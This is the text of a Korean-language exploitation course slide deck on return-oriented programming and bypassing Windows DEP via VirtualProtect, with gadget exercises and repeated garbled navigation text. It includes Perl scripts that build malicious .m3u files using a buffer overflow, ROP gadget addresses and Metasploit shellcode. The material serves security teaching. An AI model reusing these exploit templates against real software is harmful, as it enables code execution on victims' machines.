SlideShare a Scribd company logo
1 of 79
Download to read offline
System Hacking & Reverse Engineering 
[ Buffer Overflow - Return Oriented Programming aka. ROP ] 
documented by h2spice 
h2spice@gmail.com
Who am I 
Sanghwan,Ahn (h2spice) 
Works for LINE.Corp 
Carrying out research on the vulnerability (exploitation,hunt,analysis)
시스템 해킹 / 리버싱 
Buffer Overflow 
취약점 원리 
Stack Overflow 
Heap Overflow 
Format String Bug 
Heap Overflow 
Use After Free 
Overwriting RET 
Overwriting SEH 
익스플로잇(Win32/*NIX/ARM) 
Egg Hunting 
RTL 
ROP 
Heap Spraying 
커리큘럼 소개 
취약점 / 악성코드 분석 
악성코드 분석 
Software on X86 
버그 헌팅 
X86 ARM 
Mobile 
취약점 분석 
소스코드 분석 
퍼징 
CVE-XXXX-XXXX 
Exploit-DB 
Inj3ct0r - 1337day 
리버스 엔지니어링 
iOS 
Android 
Overwriting .dtors 
Overwriting GOT
목차 
커리큘럼 소개 
Track3 - Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROP 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
RTL 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
RTL 
ROP
Track3. Exploitation
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tRede turn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming)
Track3. Exploitation ROP(Return Oriented Programming) 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming)
ROP(Return Oriented Programming) 
리턴 지향 프로그램이 (ROP)는 공격자가 현재 수행 중인 프로그램 코 
드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계어 
명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜 스 
택의 제어를 통제하는 기술 
Memory Defense Mechanism 우회 가능 
무작위성 주소공간 배치 난수화 (ASLR: Address Space Layout Randomization) 
데이터 실행 방지 ( DEP : Data Execution Prevention) or W^X (Write xor eXecute) 
Ret-to-LibC 기법에 대한 이해 필요 
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming)
ROP Gadget Chain 
Gadget Chain 구성 기준 
전체 함수를 사용하는 대신에 명령어의 연속된 작은 덩어리들을 이용. 
명령어 조각은 2개에서 5개 정도의 크기. 
모든 명령어 조각은 ret 명령으로 끝나야 함. 
명령어 조각들은 ‘gadget’ 으로 서로 연결되어 명령어 덩어리를 형성 
gadget은 의도된 특정 행동을 수행 (load, store, xor or branch) 
공격자는 여러개의 gadget을 조합해 공격의 정교함을 더할 수 있음 
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming)
Principle of ROP 
1 2 3 4 
ins1 
ins2 
ins3 
ret 
ins1 
ins2 
ret 
ins1 
ins2 
pop 
ret 
ins1 
ret 
Gadget1 (Load) 
5 6 
ins1 
ins2 
ins3 
ret 
ins1 
ins2 
ret 
Gadget2 (Add) 
Load 명령을 수행하기 위한 기계어 8개가 있고, 필요한 인자가 하나 있다고 가정한다면, Load 기능을 수행 
하기 위한 가젯은 왼쪽 Gadget1 과 같이 구성되어야 한다. 
(물론 각각의 기계어들을 현재 수행되고 있는, 공격자가 접근 가능한 프로그램 내부에 존재하는 기계어 조각들 중에서 추출되어야 한다.) 
추출 과정을 통해 구성된 가젯들을 수행하게 되면 별도의 코드 삽입이나, 내장 함수를 이용하지 않아도 공격 
자가 원하는 행동들을 수행할 수 있다. 
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming)
Principle of ROP 
1 2 3 4 
ins1 
ins2 
ins3 
ret 
ins1 
ins2 
ret 
ins1 
ins2 
pop 
ret 
ins1 
ret 
Gadget1 (Load) 
5 6 
ins1 
ins2 
ins3 
ret 
ins1 
ins2 
ret 
Gadget2 (Add) 
return address 6 
return address 5 
return address 4 
argument 
return address 3 
return address 2 
return address 1 
Pattern 2 
Pattern 1 
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming)
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice1. Understanding of gadget (1) 
1 2 3 
MOV EAX, 0 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
Gadget A
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice1. Understanding of gadget (1) 
1 2 3 
MOV EAX, 0 
INC EAX 
INC EAX 
What’s the value of EAX ? 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
Gadget A
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice1. Understanding of gadget (1) 
1 2 3 
MOV EAX, 0 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
Gadget A 
EAX is 8
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice2. Understanding of gadget (2) 
1 2 3 
MOV EAX, 0 
INC EAX 
INC EAX 
ret 
POP EDI 
POP EDI 
POP EDI 
ret 
4 5 6 
Gadget B 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice2. Understanding of gadget (2) 
1 2 3 
MOV EAX, 0 
INC EAX 
INC EAX 
ret 
POP EDI 
POP EDI 
POP EDI 
ret 
Wha4t’s the va5 lue of E6AX ? 
Gadget B 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice2. Understanding of gadget (2) 
1 2 3 
MOV EAX, 0 
INC EAX 
INC EAX 
ret 
POP EDI 
POP EDI 
POP EDI 
ret 
4 5 6 
Gadget B 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
INC EAX 
INC EAX 
INC EAX 
ret 
EAX is 5
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice3. Gadget for calling function 
1 2 3 
strcpy(dest,src) 
4 
8 
Fill in the blanks 
with appropriate gadget. 
11 12 
Gadget C 
POP 
POP 
ret 
dest 
src 
5 6 7 
strcpy(dest,src) POP 
? 
POP 
ret 
dest 
src 
strcpy(dest,src) POP 
POP 
ret 
dest 
9 10 
src 
? 
?
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice3. Gadget for calling function 
1 2 3 
strcpy(dest,src) 
4 
8 
9 10 11 12 
Gadget C 
POP 
POP 
ret 
dest 
src 
5 6 7 
strcpy(dest,src) POP 
POP 
ret 
dest 
src 
strcpy(dest,src) POP 
POP 
ret 
dest src
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice4. Gadget for modification registry 
make EAX to 0x41414141 
,EBP to DEADBEEF
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Practice4. Gadget for modification registry 
my $file= "rop1.m3u"; 
my $buffersize = 26022; 
my $junk = "A" x $buffersize; 
my $eip=pack('V',0x100102DC); #pointer to RET 
my $junk2 = "AAAA"; #compensate, to make sure ESP points at first rop gadget 
my $rop = pack('V',0x10026D56); #POP EAX + RET (gadget 1) 
$rop = $rop . pack('V',0x414140C1); #this will be popped into EAX 
$rop = $rop . pack('V',0x1002DC24); #ADD EAX,80 + POP EBX + RET (gadget 2) 
$rop = $rop . pack('V',0xDEADBEEF); #this will be popped into EBX 
my $rest = "C" x 1000; 
my $payload = $junk.$eip.$junk2.$rop.$rest; 
print "Payload size : ".length($payload)."n"; 
open($FILE,">$file"); 
print $FILE $payload; 
close($FILE); 
print "m3u File $file Created successfullyn";
Bypassing DEP by using ROP 
API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows 
2003 SP1 
Windows 
2008 
VirtualAlloc Yes Yes Yes Yes Yes Yes Yes 
HeapCreate Yes Yes Yes Yes Yes Yes Yes 
SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes 
NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2) 
VirtualProtect Yes Yes Yes Yes Yes Yes Yes 
WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes 
(1) = doesn’t exist 
(2) = will fail because of default DEP Policy settings 
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Select Weapon for bypassing DEP
Bypassing DEP by using ROP 
Select Weapon for bypassing DEP 
API/OS XP SP2 XP SP3 Vista SP0 Vista SP1 Windows7 Windows 
2003 SP1 
Windows 
2008 
VirtualAlloc Yes Yes Yes Yes Yes Yes Yes 
HeapCreate Yes Yes Yes Yes Yes Yes Yes 
SetProcessDEPPolicy No(1) Yes No(1) Yes No(2) No(1) Yes 
NtSetInformationProcess Yes Yes Yes No(2) No(2) Yes No(2) 
VirtualProtect Yes Yes Yes Yes Yes Yes Yes 
WriteProcessMemory Yes Yes Yes Yes Yes Yes Yes 
(1) = doesn’t exist 
(2) = will fail because of default DEP Policy settings 
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming)
Track3. Exploitation Bypassing DEP by using ROP 
VirtualProtect function info 
lpAddress : 권한을 변경하고자하는 메모리 영역의 주소 
dwSize : 변경할 메모리 크기 
flNewProtect : 변경할 플래그 (RWX등) 
lpflOldProtect : 현재 플래그를 저장할 주소 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
PAGE_EXECUTE 0X10 / PAGE_EXECUTE_READ 0X20 /PAGE_EXECUTE_READWRITE 0X40 / PAGE_EXECUTE_WRITECOPY 0X80 
PAGE_NOACCESS 0X01 / PAGE_READONLY 0X02 / PAGE_READWRITE X04 / PAGE_WRITECOPY 0X08
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
by hand 
my $file= "rop2.m3u"; 
my $buffersize = 26022; 
my $junk = "Z" x $buffersize; 
my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect 
my $params= "VVVV"; 
$params = $params."WWWW"; 
$params = $params."XXXX"; 
$params = $params."YYYY"; 
$params = $params."ZZZZ"; 
# windows/exec - 144 bytes 
# http://www.metasploit.com 
# Encoder: x86/shikata_ga_nai 
# EXITFUNC=seh, CMD=calc 
my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" . 
…omit… 
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05"; 
my $nops = "x90" x 200; 
my $rest = "C" x 300; 
my $payload = $junk.$eip.$params.$nops.$shellcode.$rest; 
print "Payload size : ".length($payload)."n"; 
print "Shellcode size : ".length($shellcode)."n"; 
open($FILE,">$file"); 
print $FILE $payload; 
close($FILE); 
print "m3u File $file Created successfullyn";
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
RET 
EBP 
Buffer[26020]
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
RET 
EBP 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Buffer[Z 26020] 
Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
VirtuaRlEPTro t ect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z
Padding -> VVVV 
RET 
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
lpflOldProtect 
flNewProtect 
dwSize 
lpAddress 
return address 
Padding 
RET 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
by hand 
my $file= "rop2.m3u"; 
my $buffersize = 26022; 
my $junk = "Z" x $buffersize; 
my $eip=pack('V',0x7C801AD4); #pointer to VirtualProtect 
my $junk2 = "AAAA"; #compensates 
my $params=pack('V',0x01010101); #return address 
$params = $params."XXXX"; #lpAddress 
$params = $params."YYYY"; #Size - Shellcode length 
$params = $params."ZZZZ"; #flNewProtect 
$params = $params.pack('V',0x10035005); #writeable address 
# windows/exec - 144 bytes 
# http://www.metasploit.com 
# Encoder: x86/shikata_ga_nai 
# EXITFUNC=seh, CMD=calc 
my $shellcode = "xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" . 
…omit… 
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05"; 
my $nops = "x90" x 200; 
my $rest = "C" x 300; 
my $payload = $junk.$eip.$junk2.$params.$nops.$shellcode.$rest; 
print "Payload size : ".length($payload)."n"; 
print "Shellcode size : ".length($shellcode)."n"; 
open($FILE,">$file"); 
print $FILE $payload; 
close($FILE); 
print "m3u File $file Created successfullyn";
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
lpflOldProtect 
flNewProtect 
dwSize 
lpAddress 
return address 
Padding 
RET 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
lpflOldProtect 
flNewProtect 
dwSize 
lpAddress 
0x000FF80C 
Padding 
RET 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
1번째 인자값을 쉘코드의 주소 변조 (수동으로) 
Shellcode
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
lpflOldProtect 
flNewProtect 
dwSize 
0x000FF80C 
0x000FF80C 
Padding 
RET 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
2번째 인자값을 쉘코드의 주소 변조 (수동으로) 
Shellcode
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
lpflOldProtect 
flNewProtect 
0x000002BC(700) 
0x000FF80C 
0x000FF80C 
Padding 
RET 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
3번째 인자값을 쉘코드의 사이즈+@ 로 변조 (수동으로) 
Shellcode
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
lpflOldProtect 
0x00000040(RWX) 
0x000002BC(700) 
0x000FF80C 
0x000FF80C 
Padding 
RET 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
4번째 인자값을 RWX 권한 플래그로 변조 (수동으로) 
Shellcode
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
0x10035005 
0x00000040(RWX) 
0x000002BC(700) 
0x000FF80C 
0x000FF80C 
Padding 
RET 
VirtualProtect( ) 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
Z Z Z Z 
5번째 인자값을 현재 플래그를 저장할 주소로 변조 (수동으로) 
Shellcode
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
PUSH Parameters
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Bypassing DEP by using ROP 
Call VirtualProtectEX 
Change the protection on a region of committed page 
and Return to start point of shell code , Execute it
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Question.1 
First. automatically set these arguments ?
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Question.1 
First. automatically set these arguments ? 
Yes
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Question.2 
Second. and then execute it ?
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Question.2 
Second. and then execute it ? 
Yes
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Question.3 
Third. How ?
Track3. Exploitation 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Question.3 
Third. How ? 
by using ROP
Track3. Exploitation Bypassing DEP by using ROP 
Introduction 
Track3-1 Win32 
Overwrite RET 
Overwrite SEH 
Egg-Hunting 
ROOriePn( tReedt urn Programming) 
Heap Spray 
Track3-2 *NIX 
Overwrite RET 
Ret-to-LibC 
Overwrite .dtors 
Overwrite GOT 
Track3-3 ARM 
Overwrite RET 
Ret-to-LibC 
ROOriePn t(Rede turn Programming) 
Control Flow of 
세번째 인자값 생성 
세번째 인자 예약 공간에 값을 덮어씀 
네번째 인자값 생성 
네번째 인자 예약 공간에 값을 덮어씀 
다섯번째 인자값 생성 
다섯번째 인자 예약 공간에 값을 덮어씀 
ESP 값을 VirtualProtect( ) 시작 위치로 
조작 / 리턴 
